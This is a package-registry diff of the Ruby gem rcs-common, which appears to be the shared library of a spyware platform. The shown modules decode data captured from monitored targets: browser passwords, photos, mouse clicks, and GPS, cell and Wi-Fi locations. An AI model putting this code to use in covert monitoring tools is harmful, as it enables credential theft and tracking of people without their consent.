rcs-common 9.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module MouseEvidence
|
|
6
|
+
|
|
7
|
+
MOUSE_VERSION = 2009040201
|
|
8
|
+
|
|
9
|
+
def content
|
|
10
|
+
path = File.join(File.dirname(__FILE__), 'content', 'mouse', '00' + (rand(4) + 1).to_s + '.jpg')
|
|
11
|
+
File.open(path, 'rb') {|f| f.read }
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def generate_content
|
|
15
|
+
[ content ]
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
def additional_header
|
|
19
|
+
process_name = 'Finder'.to_utf16le_binary
|
|
20
|
+
window_name = ''.to_utf16le_binary
|
|
21
|
+
x = 10
|
|
22
|
+
y = 20
|
|
23
|
+
width = 1280
|
|
24
|
+
height = 800
|
|
25
|
+
header = StringIO.new
|
|
26
|
+
header.write [MOUSE_VERSION, process_name.size, window_name.size, x, y, width, height].pack("I*")
|
|
27
|
+
header.write process_name
|
|
28
|
+
header.write window_name
|
|
29
|
+
|
|
30
|
+
header.string
|
|
31
|
+
end
|
|
32
|
+
|
|
33
|
+
def decode_additional_header(data)
|
|
34
|
+
raise EvidenceDeserializeError.new("incomplete MOUSE") if data.nil? or data.bytesize == 0
|
|
35
|
+
|
|
36
|
+
binary = StringIO.new data
|
|
37
|
+
|
|
38
|
+
version, process_name_len, window_name_len = binary.read(12).unpack('I*')
|
|
39
|
+
raise EvidenceDeserializeError.new("invalid log version for MOUSE") unless version == MOUSE_VERSION
|
|
40
|
+
|
|
41
|
+
x, y, width, height = binary.read(16).unpack('I*')
|
|
42
|
+
|
|
43
|
+
ret = Hash.new
|
|
44
|
+
ret[:data] = Hash.new if ret[:data].nil?
|
|
45
|
+
ret[:data][:program] = binary.read(process_name_len).utf16le_to_utf8
|
|
46
|
+
ret[:data][:window] = binary.read(window_name_len).utf16le_to_utf8
|
|
47
|
+
ret[:data][:x] = x
|
|
48
|
+
ret[:data][:y] = y
|
|
49
|
+
ret[:data][:resolution] = "#{width} x #{height}"
|
|
50
|
+
return ret
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
def decode_content(common_info, chunks)
|
|
54
|
+
info = Hash[common_info]
|
|
55
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
56
|
+
info[:grid_content] = chunks.first
|
|
57
|
+
yield info if block_given?
|
|
58
|
+
:delete_raw
|
|
59
|
+
end
|
|
60
|
+
end
|
|
61
|
+
|
|
62
|
+
end # ::RCS
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module PasswordEvidence
|
|
6
|
+
|
|
7
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
8
|
+
|
|
9
|
+
def content
|
|
10
|
+
resource = ["MSN", "IExplorer", "Firefox"].sample.to_utf16le_binary_null
|
|
11
|
+
service = ["http://login.live.com", "http://www.google.com", "http://msn.live.it"].sample.to_utf16le_binary_null
|
|
12
|
+
user = ["ALoR", "test", "daniel", "naga"].sample.to_utf16le_binary_null
|
|
13
|
+
pass = ["secret", "mario1", "ht123456"].sample.to_utf16le_binary_null
|
|
14
|
+
content = StringIO.new
|
|
15
|
+
content.write resource
|
|
16
|
+
content.write user
|
|
17
|
+
content.write pass
|
|
18
|
+
content.write service
|
|
19
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
20
|
+
|
|
21
|
+
content.string
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
def generate_content
|
|
25
|
+
ret = Array.new
|
|
26
|
+
10.rand_times { ret << content() }
|
|
27
|
+
ret
|
|
28
|
+
end
|
|
29
|
+
|
|
30
|
+
def decode_content(common_info, chunks)
|
|
31
|
+
stream = StringIO.new chunks.join
|
|
32
|
+
|
|
33
|
+
until stream.eof?
|
|
34
|
+
info = Hash[common_info]
|
|
35
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
36
|
+
info[:data][:program] = ''
|
|
37
|
+
info[:data][:service] = ''
|
|
38
|
+
info[:data][:user] = ''
|
|
39
|
+
info[:data][:pass] = ''
|
|
40
|
+
|
|
41
|
+
resource = stream.read_utf16le_string
|
|
42
|
+
info[:data][:program] = resource.utf16le_to_utf8 unless resource.nil?
|
|
43
|
+
user = stream.read_utf16le_string
|
|
44
|
+
info[:data][:user] = user.utf16le_to_utf8 unless user.nil?
|
|
45
|
+
pass = stream.read_utf16le_string
|
|
46
|
+
info[:data][:pass] = pass.utf16le_to_utf8 unless pass.nil?
|
|
47
|
+
service = stream.read_utf16le_string
|
|
48
|
+
info[:data][:service] = service.utf16le_to_utf8 unless service.nil?
|
|
49
|
+
|
|
50
|
+
delim = stream.read(4).unpack("L*").first
|
|
51
|
+
raise EvidenceDeserializeError.new("Malformed PASSWORD (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
52
|
+
|
|
53
|
+
# this is not the real clone! redefined clone ...
|
|
54
|
+
yield info if block_given?
|
|
55
|
+
end
|
|
56
|
+
:delete_raw
|
|
57
|
+
end
|
|
58
|
+
end
|
|
59
|
+
|
|
60
|
+
end # ::RCS
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module PhotoEvidence
|
|
6
|
+
|
|
7
|
+
PHOTO_VERSION = 2015012601
|
|
8
|
+
|
|
9
|
+
def content
|
|
10
|
+
path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
|
|
11
|
+
File.open(path, 'rb') {|f| f.read }
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def generate_content
|
|
15
|
+
[ content ]
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
def additional_header
|
|
19
|
+
header = StringIO.new
|
|
20
|
+
header.write [PHOTO_VERSION].pack("I")
|
|
21
|
+
|
|
22
|
+
data = {program: "iphoto",
|
|
23
|
+
time: Time.now.getutc.to_i,
|
|
24
|
+
path: "/Users/Target/Pictures/iPhoto Library/",
|
|
25
|
+
tags: [{name: 'ciccio', handle: '1234567890', type: 'facebook'}, {name: 'pasticcio', handle: '0987654321', type: 'facebook'}],
|
|
26
|
+
description: "my wonderful photo",
|
|
27
|
+
place: {lat: 45.0, lon: 9.1, r: 50},
|
|
28
|
+
device: '',
|
|
29
|
+
target: false
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
header.write data.to_json
|
|
33
|
+
|
|
34
|
+
header.string
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
def decode_additional_header(data)
|
|
38
|
+
raise EvidenceDeserializeError.new("incomplete PHOTO") if data.nil? or data.bytesize == 0
|
|
39
|
+
|
|
40
|
+
binary = StringIO.new data
|
|
41
|
+
|
|
42
|
+
version = binary.read(4).unpack("I").first
|
|
43
|
+
raise EvidenceDeserializeError.new("invalid log version for PHOTO") unless version == PHOTO_VERSION
|
|
44
|
+
|
|
45
|
+
ret = Hash.new
|
|
46
|
+
ret[:data] = Hash.new
|
|
47
|
+
|
|
48
|
+
data = JSON.parse(binary.read)
|
|
49
|
+
|
|
50
|
+
ret[:da] = data['time'] if data['time'] # override the date acquired
|
|
51
|
+
ret[:data][:program] = data['program']
|
|
52
|
+
ret[:data][:path] = data['path']
|
|
53
|
+
ret[:data][:desc] = data['description']
|
|
54
|
+
ret[:data][:device] = data['device']
|
|
55
|
+
ret[:data][:tags] = data['tags'] #.map {|x| x['name']}.join(", ")
|
|
56
|
+
if data['place']
|
|
57
|
+
ret[:data][:latitude] = data['place']['lat']
|
|
58
|
+
ret[:data][:longitude] = data['place']['lon']
|
|
59
|
+
ret[:data][:accuracy] = data['place']['r']
|
|
60
|
+
|
|
61
|
+
# Adds also a "position" array field to support mongoDB 2dSphere index
|
|
62
|
+
ret[:data][:position] = [ret[:data][:longitude], ret[:data][:latitude]]
|
|
63
|
+
end
|
|
64
|
+
|
|
65
|
+
# if the photo is taken from "my profile pictures"
|
|
66
|
+
ret[:data][:type] = :target if data['target']
|
|
67
|
+
|
|
68
|
+
return ret
|
|
69
|
+
end
|
|
70
|
+
|
|
71
|
+
def decode_content(common_info, chunks)
|
|
72
|
+
info = Hash[common_info]
|
|
73
|
+
info[:data] ||= Hash.new
|
|
74
|
+
info[:grid_content] = chunks.join
|
|
75
|
+
yield info if block_given?
|
|
76
|
+
:delete_raw
|
|
77
|
+
end
|
|
78
|
+
end
|
|
79
|
+
|
|
80
|
+
end # ::RCS
|
|
@@ -0,0 +1,303 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
require 'digest/md5'
|
|
4
|
+
|
|
5
|
+
module RCS
|
|
6
|
+
|
|
7
|
+
module PositionEvidence
|
|
8
|
+
|
|
9
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
10
|
+
|
|
11
|
+
LOCATION_VERSION = 2010082401
|
|
12
|
+
LOCATION_GPS = 0x0001
|
|
13
|
+
LOCATION_GSM = 0x0002
|
|
14
|
+
LOCATION_WIFI = 0x0003
|
|
15
|
+
LOCATION_IP = 0x0004
|
|
16
|
+
LOCATION_CDMA = 0x0005
|
|
17
|
+
|
|
18
|
+
PLAIN_GPS = 0x00
|
|
19
|
+
CHECKIN_FACEBOOK = 0x01
|
|
20
|
+
|
|
21
|
+
def content
|
|
22
|
+
content = StringIO.new
|
|
23
|
+
|
|
24
|
+
case @loc_type
|
|
25
|
+
when LOCATION_GPS
|
|
26
|
+
content.write [@loc_type, 0, 0].pack('L*')
|
|
27
|
+
content.write Time.now.getutc.to_filetime.pack('L*')
|
|
28
|
+
content.write GPS_Position.struct(45.12345, 9.54321, rand(10..100), [0,1].sample, "This is my place")
|
|
29
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
30
|
+
|
|
31
|
+
when LOCATION_GSM
|
|
32
|
+
content.write [@loc_type, 0, 0].pack('L*')
|
|
33
|
+
content.write Time.now.getutc.to_filetime.pack('L*')
|
|
34
|
+
content.write CELL_Position.struct(222, 1, 61208, 528, -92, 0)
|
|
35
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
36
|
+
|
|
37
|
+
when LOCATION_WIFI
|
|
38
|
+
content.write ["\x00\x17\xC2\xF8\x9C\x60", "\x00\x25\xC9\xDF\xAB\xA7", "\x38\x22\x9D\xF7\x84\xF4"].sample
|
|
39
|
+
content.write [0, 0].pack('C*') # dummy for the C struck packing
|
|
40
|
+
content.write [4].pack('L')
|
|
41
|
+
content.write ["FASTWEB-1-0017C2F89C60", "ht-guest-wifi", "FASTWEB-1-38229DF784F4"].sample.ljust(32, "\x00")
|
|
42
|
+
content.write [rand(100) * -1].pack('l')
|
|
43
|
+
|
|
44
|
+
when LOCATION_IP
|
|
45
|
+
content.write ["8.8.8.8", "8.8.4.4", "4.2.2.2"].sample
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
content.string
|
|
49
|
+
end
|
|
50
|
+
|
|
51
|
+
def generate_content
|
|
52
|
+
ret = Array.new
|
|
53
|
+
@nstruct.times { ret << content() }
|
|
54
|
+
ret
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
def additional_header
|
|
58
|
+
@loc_type = [LOCATION_GPS, LOCATION_GSM, LOCATION_WIFI, LOCATION_IP].sample
|
|
59
|
+
#@loc_type = [LOCATION_GPS].sample
|
|
60
|
+
@nstruct = (@loc_type == LOCATION_IP) ? 1 : rand(5) + 1
|
|
61
|
+
header = StringIO.new
|
|
62
|
+
header.write [LOCATION_VERSION, @loc_type, @nstruct].pack("I*")
|
|
63
|
+
|
|
64
|
+
header.string
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
def decode_additional_header(data)
|
|
68
|
+
raise EvidenceDeserializeError.new("incomplete LOCATION") if data.nil? or data.size == 0
|
|
69
|
+
|
|
70
|
+
binary = StringIO.new data
|
|
71
|
+
|
|
72
|
+
version, type, number = binary.read(12).unpack("I*")
|
|
73
|
+
raise EvidenceDeserializeError.new("invalid log version for LOCATION") unless version == LOCATION_VERSION
|
|
74
|
+
|
|
75
|
+
ret = Hash.new
|
|
76
|
+
ret[:loc_type] = type
|
|
77
|
+
return ret
|
|
78
|
+
end
|
|
79
|
+
|
|
80
|
+
def decode_content(common_info, chunks)
|
|
81
|
+
stream = StringIO.new chunks.join
|
|
82
|
+
|
|
83
|
+
case common_info[:loc_type]
|
|
84
|
+
when LOCATION_WIFI
|
|
85
|
+
info = Hash[common_info]
|
|
86
|
+
info[:data] ||= Hash.new
|
|
87
|
+
info[:data][:type] = 'WIFI'
|
|
88
|
+
info[:data][:wifi] = []
|
|
89
|
+
until stream.eof?
|
|
90
|
+
# we have 6 byte of mac address
|
|
91
|
+
# and 2 of padding (using C struct is BAAAAD)
|
|
92
|
+
mac = stream.read 6
|
|
93
|
+
stream.read 2
|
|
94
|
+
|
|
95
|
+
len = stream.read(4).unpack('L').first
|
|
96
|
+
ssid = stream.read(len)
|
|
97
|
+
|
|
98
|
+
stream.read(32-len)
|
|
99
|
+
sig = stream.read(4).unpack('l').first
|
|
100
|
+
|
|
101
|
+
mac_s = "%02X:%02X:%02X:%02X:%02X:%02X" %
|
|
102
|
+
[mac[0].unpack('C').first,
|
|
103
|
+
mac[1].unpack('C').first,
|
|
104
|
+
mac[2].unpack('C').first,
|
|
105
|
+
mac[3].unpack('C').first,
|
|
106
|
+
mac[4].unpack('C').first,
|
|
107
|
+
mac[5].unpack('C').first]
|
|
108
|
+
|
|
109
|
+
info[:data][:wifi] << {:mac => mac_s, :sig => sig, :ssid => ssid}
|
|
110
|
+
end
|
|
111
|
+
yield info if block_given?
|
|
112
|
+
|
|
113
|
+
when LOCATION_IP
|
|
114
|
+
info = Hash[common_info]
|
|
115
|
+
info[:data] ||= Hash.new
|
|
116
|
+
info[:data][:type] = 'IPv4'
|
|
117
|
+
ip = stream.read_ascii_string
|
|
118
|
+
info[:data][:ip] = ip unless ip.nil?
|
|
119
|
+
yield info if block_given?
|
|
120
|
+
|
|
121
|
+
when LOCATION_GPS
|
|
122
|
+
until stream.eof?
|
|
123
|
+
info = Hash[common_info]
|
|
124
|
+
info[:data] ||= Hash.new
|
|
125
|
+
#info[:data][:type] = 'GPS'
|
|
126
|
+
type, size, version = stream.read(12).unpack('L*')
|
|
127
|
+
low, high = *stream.read(8).unpack('L*')
|
|
128
|
+
info[:da] = Time.from_filetime(high, low)
|
|
129
|
+
|
|
130
|
+
gps = GPS_Position.new
|
|
131
|
+
gps.read stream
|
|
132
|
+
info[:data][:latitude] = gps.latitude.to_f
|
|
133
|
+
info[:data][:longitude] = gps.longitude.to_f
|
|
134
|
+
info[:data][:accuracy] = gps.accuracy.to_i
|
|
135
|
+
info[:data][:type] = case (gps.flags.to_i)
|
|
136
|
+
when PLAIN_GPS
|
|
137
|
+
'GPS'
|
|
138
|
+
when CHECKIN_FACEBOOK
|
|
139
|
+
'FACEBOOK'
|
|
140
|
+
end
|
|
141
|
+
info[:data][:address] = {text: gps.checkin_name} if info[:data][:type] != 'GPS'
|
|
142
|
+
|
|
143
|
+
delim = stream.read(4).unpack('L').first
|
|
144
|
+
raise EvidenceDeserializeError.new("Malformed LOCATION GPS (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
145
|
+
|
|
146
|
+
yield info if block_given?
|
|
147
|
+
end
|
|
148
|
+
|
|
149
|
+
when LOCATION_GSM, LOCATION_CDMA
|
|
150
|
+
until stream.eof?
|
|
151
|
+
info = Hash[common_info]
|
|
152
|
+
info[:data] ||= Hash.new
|
|
153
|
+
info[:data][:type] = (info[:loc_type] == LOCATION_GSM) ? 'GSM' : 'CDMA'
|
|
154
|
+
type, size, version = stream.read(12).unpack('L*')
|
|
155
|
+
low, high = *stream.read(8).unpack('L*')
|
|
156
|
+
info[:da] = Time.from_filetime(high, low)
|
|
157
|
+
cell = CELL_Position.new
|
|
158
|
+
cell.read stream
|
|
159
|
+
|
|
160
|
+
if info[:loc_type] == LOCATION_GSM then
|
|
161
|
+
info[:data][:cell] = {:mcc => cell.mcc, :mnc => cell.mnc, :lac => cell.lac, :cid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
|
|
162
|
+
else
|
|
163
|
+
info[:data][:cell] = {:mcc => cell.mcc, :sid => cell.mnc, :nid => cell.lac, :bid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
|
|
164
|
+
end
|
|
165
|
+
|
|
166
|
+
delim = stream.read(4).unpack('L').first
|
|
167
|
+
raise EvidenceDeserializeError.new("Malformed LOCATION CELL (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
168
|
+
yield info if block_given?
|
|
169
|
+
end
|
|
170
|
+
else
|
|
171
|
+
raise EvidenceDeserializeError.new("Unsupported LOCATION type (#{info[:loc_type]})")
|
|
172
|
+
end
|
|
173
|
+
|
|
174
|
+
:delete_raw
|
|
175
|
+
end
|
|
176
|
+
end
|
|
177
|
+
|
|
178
|
+
class GPS_Position
|
|
179
|
+
|
|
180
|
+
attr_reader :latitude
|
|
181
|
+
attr_reader :longitude
|
|
182
|
+
attr_reader :accuracy
|
|
183
|
+
attr_reader :flags
|
|
184
|
+
attr_reader :checkin_name
|
|
185
|
+
|
|
186
|
+
def self.size
|
|
187
|
+
self.struct(0,0,0).bytesize
|
|
188
|
+
end
|
|
189
|
+
|
|
190
|
+
def self.struct(lat, long, accuracy, flags, name)
|
|
191
|
+
str = ''
|
|
192
|
+
str += [0].pack('l') # DWORD dwVersion; Current version of GPSID client is using.
|
|
193
|
+
str += [0].pack('l') # DWORD dwSize; sizeof(_GPS_POSITION)
|
|
194
|
+
str += [0].pack('l') # DWORD dwValidFields;
|
|
195
|
+
|
|
196
|
+
# abuse this flag to indicate social checkins
|
|
197
|
+
str += [flags].pack('l') # DWORD dwFlags;
|
|
198
|
+
|
|
199
|
+
str += Array.new(8,0).pack('s*') # SYSTEMTIME stUTCTime; UTC according to GPS clock.
|
|
200
|
+
|
|
201
|
+
str += [lat].pack('D') # double dblLatitude; // Degrees latitude. North is positive
|
|
202
|
+
str += [long].pack('D') # double dblLongitude; // Degrees longitude. East is positive
|
|
203
|
+
|
|
204
|
+
str += [0].pack('F') # float flSpeed; // Speed in knots
|
|
205
|
+
str += [0].pack('F') # float flHeading; // Degrees heading (course made good). True North=0
|
|
206
|
+
str += [0].pack('D') # double dblMagneticVariation; // Magnetic variation. East is positive
|
|
207
|
+
str += [0].pack('F') # float flAltitudeWRTSeaLevel; // Altitute with regards to sea level, in meters
|
|
208
|
+
str += [0].pack('F') # float flAltitudeWRTEllipsoid; // Altitude with regards to ellipsoid, in meters
|
|
209
|
+
|
|
210
|
+
str += [0].pack('l') # GPS_FIX_QUALITY FixQuality; // Where did we get fix from?
|
|
211
|
+
str += [0].pack('l') # GPS_FIX_TYPE FixType; // Is this 2d or 3d fix?
|
|
212
|
+
str += [0].pack('l') # GPS_FIX_SELECTION SelectionType; // Auto or manual selection between 2d or 3d mode
|
|
213
|
+
str += [0].pack('F') # float flPositionDilutionOfPrecision; // Position Dilution Of Precision
|
|
214
|
+
str += [accuracy].pack('F') # float flHorizontalDilutionOfPrecision; // Horizontal Dilution Of Precision
|
|
215
|
+
str += [0].pack('F') # float flVerticalDilutionOfPrecision; // Vertical Dilution Of Precision
|
|
216
|
+
|
|
217
|
+
#str += [1].pack('l') # DWORD dwSatelliteCount; // Number of satellites used in solution
|
|
218
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesUsedPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites used in the solution
|
|
219
|
+
#str += [0].pack('l') # DWORD dwSatellitesInView; // Number of satellites in view. From 0-GPS_MAX_SATELLITES
|
|
220
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites in view
|
|
221
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewElevation[GPS_MAX_SATELLITES]; // Elevation of each satellite in view
|
|
222
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewAzimuth[GPS_MAX_SATELLITES]; // Azimuth of each satellite in view
|
|
223
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES]; // Signal to noise ratio of each satellite in view
|
|
224
|
+
|
|
225
|
+
# we abuse this space to write the name of the checkin
|
|
226
|
+
str += name.to_utf16le_binary_null.ljust(248, "\x00")
|
|
227
|
+
|
|
228
|
+
return str
|
|
229
|
+
end
|
|
230
|
+
|
|
231
|
+
def read(stream)
|
|
232
|
+
stream.read(4*3)
|
|
233
|
+
@flags = stream.read(4).unpack('l').first
|
|
234
|
+
stream.read(8*2)
|
|
235
|
+
@latitude = stream.read(8).unpack('D').first
|
|
236
|
+
@longitude = stream.read(8).unpack('D').first
|
|
237
|
+
stream.read(2*4)
|
|
238
|
+
stream.read(8)
|
|
239
|
+
stream.read(2*4)
|
|
240
|
+
|
|
241
|
+
stream.read(3*4)
|
|
242
|
+
stream.read(4) # PDOP
|
|
243
|
+
@accuracy = stream.read(4).unpack('F').first # HDOP
|
|
244
|
+
stream.read(4) # VDOP
|
|
245
|
+
|
|
246
|
+
temp = stream.read(248)
|
|
247
|
+
name = StringIO.new(temp).read_utf16le_string
|
|
248
|
+
@checkin_name = name.utf16le_to_utf8 unless name.nil?
|
|
249
|
+
end
|
|
250
|
+
end
|
|
251
|
+
|
|
252
|
+
|
|
253
|
+
class CELL_Position
|
|
254
|
+
|
|
255
|
+
attr_reader :mcc, :mnc, :lac, :cid, :db, :adv
|
|
256
|
+
|
|
257
|
+
def self.size
|
|
258
|
+
self.struct(0,0,0,0,0,0).bytesize
|
|
259
|
+
end
|
|
260
|
+
|
|
261
|
+
def self.struct(mcc, mnc, lac, cid, db, adv)
|
|
262
|
+
str = ''
|
|
263
|
+
str += [0].pack('l') # DWORD cbSize; // @field structure size in bytes
|
|
264
|
+
str += [0].pack('l') # DWORD dwParams; // @field indicates valid parameters
|
|
265
|
+
str += [mcc].pack('l') # DWORD dwMobileCountryCode; // @field TBD
|
|
266
|
+
str += [mnc].pack('l') # DWORD dwMobileNetworkCode; // @field TBD
|
|
267
|
+
str += [lac].pack('l') # DWORD dwLocationAreaCode; // @field TBD
|
|
268
|
+
str += [cid].pack('l') # DWORD dwCellID; // @field TBD
|
|
269
|
+
str += [0].pack('l') # DWORD dwBaseStationID; // @field TBD
|
|
270
|
+
str += [0].pack('l') # DWORD dwBroadcastControlChannel; // @field TBD
|
|
271
|
+
str += [db].pack('l') # DWORD dwRxLevel; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
|
|
272
|
+
str += [0].pack('l') # DWORD dwRxLevelFull; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
|
|
273
|
+
str += [0].pack('l') # DWORD dwRxLevelSub; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
|
|
274
|
+
str += [0].pack('l') # DWORD dwRxQuality; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
|
|
275
|
+
str += [0].pack('l') # DWORD dwRxQualityFull; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
|
|
276
|
+
str += [0].pack('l') # DWORD dwRxQualitySub; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
|
|
277
|
+
str += [0].pack('l') # DWORD dwIdleTimeSlot; // @field TBD
|
|
278
|
+
str += [adv].pack('l') # DWORD dwTimingAdvance; // @field TBD
|
|
279
|
+
str += [0].pack('l') # DWORD dwGPRSCellID; // @field TBD
|
|
280
|
+
str += [0].pack('l') # DWORD dwGPRSBaseStationID; // @field TBD
|
|
281
|
+
